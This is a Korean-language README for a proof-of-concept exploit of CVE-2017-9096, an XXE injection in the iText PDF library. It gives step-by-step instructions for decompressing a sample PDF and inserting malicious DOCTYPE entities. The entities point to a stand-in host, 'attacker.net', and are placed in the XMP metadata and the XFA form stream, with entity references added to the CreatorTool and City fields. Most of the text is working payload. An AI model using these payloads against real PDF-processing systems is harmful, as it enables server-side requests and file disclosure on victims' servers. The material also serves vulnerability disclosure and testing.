
CVE-2017-9096에 대한 개념 증명 익스플로잇으로, 악성 XMP 메타데이터 및 양식 필드를 통해 iText PDF 라이브러리의 XML External Entity(XXE) 주입을 시연합니다.
양식이 포함된 PDF를 다운로드:
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
이를 위해 qpdf --qdf --object-streams=disable input.pdf output.pdf 명령어로 PDF의 압축을 해제한 후, 텍스트 편집기로 PDF를 편집하여 악성 XML을 추가할 수 있습니다.
77번째 줄의 XMP 메타데이터에 XXE를 넣을 수 있습니다:
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
그리고 물론 참조도 어딘가에 추가해야 합니다. 예: 88번째 줄:
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
또한 파일에 일반적인 XXE를 추가할 수 있습니다. 원본 문서에서 이 부분을 참고하세요 (740번째 줄부터 시작):
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
다음과 같이 변경합니다:
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
그런 다음, 참조를 아무 곳에나 추가하면 됩니다. 예를 들어 City 필드에 추가합니다 (원본 압축 해제 문서의 1845번째 줄). 다음을:
<text
>City:</text
></value
>
다음과 같이 변경:
<text
>City:</text
><xxe>&xxe;</xxe></value
>
이 저장소에서 두 XXE가 모두 포함된 패치된 PDF를 찾을 수 있습니다 (output_with_xxe.pdf).
mvn clean compile exec:java 명령어로 Java 앱을 실행하여 PDF를 테스트합니다.